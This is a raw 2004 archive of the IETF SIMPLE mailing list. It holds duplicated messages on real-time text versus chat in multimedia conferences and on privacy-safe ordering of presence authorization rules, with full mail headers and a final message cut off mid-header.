Received: from vit (h53n2fls31o265.telia.com [217.208.189.53])
	(authenticated (0 bits))
	by mail3.pi.se (8.12.10/8.11.2) with ESMTP id i2NNK771013503;
	Wed, 24 Mar 2004 00:20:08 +0100 (CET)
From: "Gunnar Hellstrom" <gunnar.hellstrom@omnitor.se>
To: "Paul Kyzivat" <pkyzivat@cisco.com>
Cc: "XCON" <xcon@ietf.org>, "SIMPLE" <simple@ietf.org>,
        "Alan Johnston" <alan.johnston@mci.com>,
        "Rosen, Brian" <Brian.Rosen@marconi.com>,
        "Niemi Aki \(Nokia-M/Espoo\)" <aki.niemi@nokia.com>
Subject: RE: [Simple] RE: Chat sessions
Message-ID: <BHEHLFPKIPMLPFNFAHJKEEJJDOAA.gunnar.hellstrom@omnitor.se>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <405F69FA.3040404@cisco.com>
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 00:22:36 +0100
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Paul,
OK, I have no problem to widen my view to include your proposed scenarios.
They sound plausible.

Gunnar

-------------------------------------------
Gunnar Hellstrom
Omnitor AB
Renathvagen 2
SE 121 37 Johanneshov
SWEDEN
+46 8 556 002 03
Mob: +46 708 204 288
www.omnitor.se
Gunnar.Hellstrom@Omnitor.se
--------------------------------------------


> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Monday, March 22, 2004 11:35 PM
> To: Gunnar Hellstrom
> Cc: XCON; SIMPLE; Alan Johnston; Rosen, Brian; Niemi Aki (Nokia-M/Espoo)
> Subject: Re: [Simple] RE: Chat sessions
>
>
>
>
> Gunnar Hellstrom wrote:
> > Text conferencing does not need to be a sidebar.
> > I see text usage in a conference setting divided mainly in two
> variants.
> >
> > 1. Real time text in the main conference.
> > -------------------------------------------
> > There is a valid use of real time text as part of the main
> conference. That
> > is for all kinds of real time "subtitling" of a conference.
> >
> > The reason may be that the audience is of mixed language
> background, and
> > need a typed translation while the main voice medium is left as it is.
> >
> > Another reason may be that there are participants who cannot hear the
> > voice, and need to see it typed.
> >
> > This type of text conferencing need to be real time, character
> by character
> > ( or close to that ). Since it should flow together with other media in
> > real time, I think it is most natural to implement it with the text
> > transmitted as a streaming media in RTP, as specified by RFC2793 and
> > RFC2793bis, and initiated with the other real time media audio
> and video
> > with SDP at session initiation time.
> > It is the extension of the real time point to point call into the
> > multipoint world. The three natural media are video, text and audio.
> > One natural way to display it, if video is also included, is to display
> > text under the video image of the person sending the text, or
> the person
> > being text-interpreted.
> >
> > 2. Text Chat messaging in Chat rooms and sidebars
> > ---------------------------------------------------
> > For the sidebar text Chat rooms, I would expect that the users
> often are
> > more happy to see the discussion message wise. They can then
> concentrate on
> > the main conference and occationally look at the sidebar if
> there are new
> > messages there. That would be the SIMPLE traditional IM view of text.
>
> I think the above are some excellent use cases. (But they aren't the
> only use cases involving IM and/or Instant Text.
>
> > Would it be OK to use the term "text conferencing" for no 1, and "Chat
> > rooms" for no 2 ?
> > I expect XCON to mainly concentrate on no 1, and SIMPLE on no.
> 2. Therefore
> > I post this to both groups.
>
> I think this is too narrow a view. People use IM (message based) chat
> rooms every day, and this application also must be addressed by XCON.
>
> I also see cases where some of the participants don't have the
> capability to handle all the media in use in the conference. All of
> audio, video, message based IM, real time text may be in use in the
> conference. Some participants may have only audio, others only
> audio/video, others only video and real time text, and perhaps some only
> IM. Those that don't have all the media may just miss some content, but
> they may also get some via transcoding. Pretty much every combination
> has some relevance.
>
> And there seems no need to exclude any medium from sidebars, though as
> you point out, the value proposition for media in sidebars may be
> different than it is in the main conference.
>
> 	Paul
>
>
>



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 23 18:27:11 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11576
	for <simple-archive@odin.ietf.org>; Tue, 23 Mar 2004 18:27:11 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5vID-0002QH-FD
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 18:26:45 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2NNQjhK009313
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 18:26:45 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5vID-0002Q8-8E
	for simple-web-archive@optimus.ietf.org; Tue, 23 Mar 2004 18:26:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11519
	for <simple-web-archive@ietf.org>; Tue, 23 Mar 2004 18:26:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5vI9-0000dO-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 18:26:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5vHD-0000Xp-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 18:25:44 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5vGY-0000TM-00; Tue, 23 Mar 2004 18:25:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5vGY-0001yu-OS; Tue, 23 Mar 2004 18:25:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5vGC-0001xc-UZ
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 18:24:41 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11404
	for <simple@ietf.org>; Tue, 23 Mar 2004 18:24:36 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5vG9-0000Rv-00
	for simple@ietf.org; Tue, 23 Mar 2004 18:24:37 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5vFO-0000Md-00
	for simple@ietf.org; Tue, 23 Mar 2004 18:23:51 -0500
Received: from mail3.pi.se ([195.7.64.137] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5vES-0000Di-00; Tue, 23 Mar 2004 18:22:53 -0500
Received: from vit (h53n2fls31o265.telia.com [217.208.189.53])
	(authenticated (0 bits))
	by mail3.pi.se (8.12.10/8.11.2) with ESMTP id i2NNK771013503;
	Wed, 24 Mar 2004 00:20:08 +0100 (CET)
From: "Gunnar Hellstrom" <gunnar.hellstrom@omnitor.se>
To: "Paul Kyzivat" <pkyzivat@cisco.com>
Cc: "XCON" <xcon@ietf.org>, "SIMPLE" <simple@ietf.org>,
        "Alan Johnston" <alan.johnston@mci.com>,
        "Rosen, Brian" <Brian.Rosen@marconi.com>,
        "Niemi Aki \(Nokia-M/Espoo\)" <aki.niemi@nokia.com>
Subject: RE: [Simple] RE: Chat sessions
Message-ID: <BHEHLFPKIPMLPFNFAHJKEEJJDOAA.gunnar.hellstrom@omnitor.se>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
In-Reply-To: <405F69FA.3040404@cisco.com>
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 00:22:36 +0100
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Paul,
OK, I have no problem to widen my view to include your proposed scenarios.
They sound plausible.

Gunnar

-------------------------------------------
Gunnar Hellstrom
Omnitor AB
Renathvagen 2
SE 121 37 Johanneshov
SWEDEN
+46 8 556 002 03
Mob: +46 708 204 288
www.omnitor.se
Gunnar.Hellstrom@Omnitor.se
--------------------------------------------


> -----Original Message-----
> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: Monday, March 22, 2004 11:35 PM
> To: Gunnar Hellstrom
> Cc: XCON; SIMPLE; Alan Johnston; Rosen, Brian; Niemi Aki (Nokia-M/Espoo)
> Subject: Re: [Simple] RE: Chat sessions
>
>
>
>
> Gunnar Hellstrom wrote:
> > Text conferencing does not need to be a sidebar.
> > I see text usage in a conference setting divided mainly in two
> variants.
> >
> > 1. Real time text in the main conference.
> > -------------------------------------------
> > There is a valid use of real time text as part of the main
> conference. That
> > is for all kinds of real time "subtitling" of a conference.
> >
> > The reason may be that the audience is of mixed language
> background, and
> > need a typed translation while the main voice medium is left as it is.
> >
> > Another reason may be that there are participants who cannot hear the
> > voice, and need to see it typed.
> >
> > This type of text conferencing need to be real time, character
> by character
> > ( or close to that ). Since it should flow together with other media in
> > real time, I think it is most natural to implement it with the text
> > transmitted as a streaming media in RTP, as specified by RFC2793 and
> > RFC2793bis, and initiated with the other real time media audio
> and video
> > with SDP at session initiation time.
> > It is the extension of the real time point to point call into the
> > multipoint world. The three natural media are video, text and audio.
> > One natural way to display it, if video is also included, is to display
> > text under the video image of the person sending the text, or
> the person
> > being text-interpreted.
> >
> > 2. Text Chat messaging in Chat rooms and sidebars
> > ---------------------------------------------------
> > For the sidebar text Chat rooms, I would expect that the users
> often are
> > more happy to see the discussion message wise. They can then
> concentrate on
> > the main conference and occationally look at the sidebar if
> there are new
> > messages there. That would be the SIMPLE traditional IM view of text.
>
> I think the above are some excellent use cases. (But they aren't the
> only use cases involving IM and/or Instant Text.
>
> > Would it be OK to use the term "text conferencing" for no 1, and "Chat
> > rooms" for no 2 ?
> > I expect XCON to mainly concentrate on no 1, and SIMPLE on no.
> 2. Therefore
> > I post this to both groups.
>
> I think this is too narrow a view. People use IM (message based) chat
> rooms every day, and this application also must be addressed by XCON.
>
> I also see cases where some of the participants don't have the
> capability to handle all the media in use in the conference. All of
> audio, video, message based IM, real time text may be in use in the
> conference. Some participants may have only audio, others only
> audio/video, others only video and real time text, and perhaps some only
> IM. Those that don't have all the media may just miss some content, but
> they may also get some via transcoding. Pretty much every combination
> has some relevance.
>
> And there seems no need to exclude any medium from sidebars, though as
> you point out, the value proposition for media in sidebars may be
> different than it is in the main conference.
>
> 	Paul
>
>
>



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 23 21:42:54 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21001
	for <simple-archive@ietf.org>; Tue, 23 Mar 2004 21:42:54 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5yM2-0003hK-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 21:42:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5yKn-0003OK-00
	for simple-archive@ietf.org; Tue, 23 Mar 2004 21:41:38 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5yJf-0003Bn-04; Tue, 23 Mar 2004 21:40:28 -0500
Received: from optimus22.ietf.org ([132.151.6.22] helo=optimus.ietf.org)
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B5y7h-0006uR-NE; Tue, 23 Mar 2004 21:28:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5y7d-0004CR-T9; Tue, 23 Mar 2004 21:28:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5y6g-00042U-5L
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 21:27:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20289
	for <simple@ietf.org>; Tue, 23 Mar 2004 21:26:59 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5y6d-0002EQ-00
	for simple@ietf.org; Tue, 23 Mar 2004 21:26:59 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5y5a-00020f-00
	for simple@ietf.org; Tue, 23 Mar 2004 21:25:55 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5y4d-0001qq-00
	for simple@ietf.org; Tue, 23 Mar 2004 21:24:55 -0500
Received: from bear.cs.columbia.edu (IDENT:HXik6Qw1Vzvu8JRBP0XmqZySXL8CjQdS@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2O2OpRI015793
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Tue, 23 Mar 2004 21:24:51 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-96-135.mad.east.verizon.net [138.89.96.135])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2O2OiNO032020
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Tue, 23 Mar 2004 21:24:44 -0500
Message-ID: <4060F169.3090306@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: jdrosen@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] Comments on: First draft of text on semantic-based authorization
 policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-PMX-Version: 4.5.0.92886, Antispam-Core: 4.0.4.93542, Antispam-Data: 2004.3.23.95127
X-PerlMx-Spam: Gauge=XII, Probability=12%, Report='X_NJABL_DUL 1, __HAS_MSGID 0, __SANE_MSGID 0, __USER_AGENT 0, X_ACCEPT_LANG 0, __MIME_VERSION 0, __TO_MALFORMED_2 0, __REFERENCES 0, __IN_REP_TO 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __UNUSABLE_MSGID 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, RCVD_IN_NJABL_ORG 0, __MOZILLA_MSGID 0, REFERENCES 0.000, IN_REP_TO 0, USER_AGENT 0.000'
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 23 Mar 2004 21:24:41 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit


> 
> So it is to my understanding impossible for instance to provide
> presence to everyone except an enumerated list of identities. This is
> usually what black-listing means.

I'm finding it hard to believe that 'everyone in the world except A, B 
and C' is a useful service concept. My concern is that this promises 
privacy to users that may not understand the implications (and the 
uselessness of this). Can you imagine a system that allows any random 
user to obtain presence information?

I think the concept of 'everybody gets to ask for permission before 
subscribing except bad guys A, B and C who I've already told to get 
lost' is useful and might implementable by an appropriate ordering of 
actions. For example, if you order actions as

known_reject (highest), permit, ask, dont_bother (lowest, default)

the right thing happens. However, caveats about file merging apply.

> 
> I think this is a very good idea, and would solve this particular
> problem. There would just need to be a mechanism how to express the
> ordering within "class". "class" itself is going to need more
> specifying, since currently it is hard to use it among multiple PUAs.

There are two mechanisms I can think of:

- kludge: classes are ordered alphabetically

- mapping: classes are assigned ordinal numbers in the ruleset


> 
> 
> 
>> Exceptions greatly complicate the processing and, in conjunction
>> with external lists, are privacy-unsafe. Thus, I'm opposed to 
>> including such mechanisms.
> 
> 
> I suppose you mean now exceptions only, not the "class" ordering you
> just proposed yourself?

Correct. The ordering follows the standard additive merging rules and is 
inclusion- and privacy-safe.


> Presentity has presence tuples A, B, C. (let's say B and C are
> otherwise the same, but have a different "note") He wants to enforce
> the following policy: - Provide tuples A and B to everyone except Joe
> and Frank - Provide tuples A and C to Frank (note, not B) (Joe gets
> nothing)
> 
> Very simple, practical, and realistic - yet undoable with the current
> drafts.

I disagree - the 'everyone' service is a very dangerous one that will 
fool users into revealing information that they do not want. We 
shouldn't design systems that fail unsafe and invite trouble.

I suggested the action mechanism above since it provides a 'safety' - if 
it fails, you get to do an additional subscription approval, but at 
least you don't reveal your whereabouts or other sensitive information 
to the wrong people.

> 
> 
>> Henning
>> 
> 
> 
> Markus

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 23 21:43:26 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21175
	for <simple-archive@odin.ietf.org>; Tue, 23 Mar 2004 21:43:26 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5yM6-0005gy-Ov
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 21:42:59 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2O2gwbu021876
	for simple-archive@odin.ietf.org; Tue, 23 Mar 2004 21:42:58 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5yM6-0005gl-LD
	for simple-web-archive@optimus.ietf.org; Tue, 23 Mar 2004 21:42:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21028
	for <simple-web-archive@ietf.org>; Tue, 23 Mar 2004 21:42:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5yM3-0003hP-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 21:42:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5yKo-0003OX-00
	for simple-web-archive@ietf.org; Tue, 23 Mar 2004 21:41:39 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5yJf-0003Bn-04; Tue, 23 Mar 2004 21:40:28 -0500
Received: from optimus22.ietf.org ([132.151.6.22] helo=optimus.ietf.org)
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B5y7h-0006uR-NE; Tue, 23 Mar 2004 21:28:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5y7d-0004CR-T9; Tue, 23 Mar 2004 21:28:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5y6g-00042U-5L
	for simple@optimus.ietf.org; Tue, 23 Mar 2004 21:27:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA20289
	for <simple@ietf.org>; Tue, 23 Mar 2004 21:26:59 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5y6d-0002EQ-00
	for simple@ietf.org; Tue, 23 Mar 2004 21:26:59 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5y5a-00020f-00
	for simple@ietf.org; Tue, 23 Mar 2004 21:25:55 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5y4d-0001qq-00
	for simple@ietf.org; Tue, 23 Mar 2004 21:24:55 -0500
Received: from bear.cs.columbia.edu (IDENT:HXik6Qw1Vzvu8JRBP0XmqZySXL8CjQdS@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i2O2OpRI015793
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT);
	Tue, 23 Mar 2004 21:24:51 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-96-135.mad.east.verizon.net [138.89.96.135])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i2O2OiNO032020
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Tue, 23 Mar 2004 21:24:44 -0500
Message-ID: <4060F169.3090306@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7b) Gecko/20040316
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: jdrosen@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] Comments on: First draft of text on semantic-based authorization
 policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-PMX-Version: 4.5.0.92886, Antispam-Core: 4.0.4.93542, Antispam-Data: 2004.3.23.95127
X-PerlMx-Spam: Gauge=XII, Probability=12%, Report='X_NJABL_DUL 1, __HAS_MSGID 0, __SANE_MSGID 0, __USER_AGENT 0, X_ACCEPT_LANG 0, __MIME_VERSION 0, __TO_MALFORMED_2 0, __REFERENCES 0, __IN_REP_TO 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __UNUSABLE_MSGID 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, RCVD_IN_NJABL_ORG 0, __MOZILLA_MSGID 0, REFERENCES 0.000, IN_REP_TO 0, USER_AGENT 0.000'
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 23 Mar 2004 21:24:41 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


> 
> So it is to my understanding impossible for instance to provide
> presence to everyone except an enumerated list of identities. This is
> usually what black-listing means.

I'm finding it hard to believe that 'everyone in the world except A, B 
and C' is a useful service concept. My concern is that this promises 
privacy to users that may not understand the implications (and the 
uselessness of this). Can you imagine a system that allows any random 
user to obtain presence information?

I think the concept of 'everybody gets to ask for permission before 
subscribing except bad guys A, B and C who I've already told to get 
lost' is useful and might implementable by an appropriate ordering of 
actions. For example, if you order actions as

known_reject (highest), permit, ask, dont_bother (lowest, default)

the right thing happens. However, caveats about file merging apply.

> 
> I think this is a very good idea, and would solve this particular
> problem. There would just need to be a mechanism how to express the
> ordering within "class". "class" itself is going to need more
> specifying, since currently it is hard to use it among multiple PUAs.

There are two mechanisms I can think of:

- kludge: classes are ordered alphabetically

- mapping: classes are assigned ordinal numbers in the ruleset


> 
> 
> 
>> Exceptions greatly complicate the processing and, in conjunction
>> with external lists, are privacy-unsafe. Thus, I'm opposed to 
>> including such mechanisms.
> 
> 
> I suppose you mean now exceptions only, not the "class" ordering you
> just proposed yourself?

Correct. The ordering follows the standard additive merging rules and is 
inclusion- and privacy-safe.


> Presentity has presence tuples A, B, C. (let's say B and C are
> otherwise the same, but have a different "note") He wants to enforce
> the following policy: - Provide tuples A and B to everyone except Joe
> and Frank - Provide tuples A and C to Frank (note, not B) (Joe gets
> nothing)
> 
> Very simple, practical, and realistic - yet undoable with the current
> drafts.

I disagree - the 'everyone' service is a very dangerous one that will 
fool users into revealing information that they do not want. We 
shouldn't design systems that fail unsafe and invite trouble.

I suggested the action mechanism above since it provides a 'safety' - if 
it fails, you get to do an additional subscription approval, but at 
least you don't reveal your whereabouts or other sensitive information 
to the wrong people.

> 
> 
>> Henning
>> 
> 
> 
> Markus

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 24 03:10:01 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA03406
	for <simple-archive@ietf.org>; Wed, 24 Mar 2004 03:10:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63Sa-0004fk-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 03:10:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B63Ra-0004Uw-00
	for simple-archive@ietf.org; Wed, 24 Mar 2004 03:08:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63R0-0004Ks-00; Wed, 24 Mar 2004 03:08:22 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63Qz-0004C0-T1; Wed, 24 Mar 2004 03:08:21 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B63Kp-0003a7-Fd
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 03:01:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA03123
	for <simple@ietf.org>; Wed, 24 Mar 2004 03:01:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B63Kl-000385-00
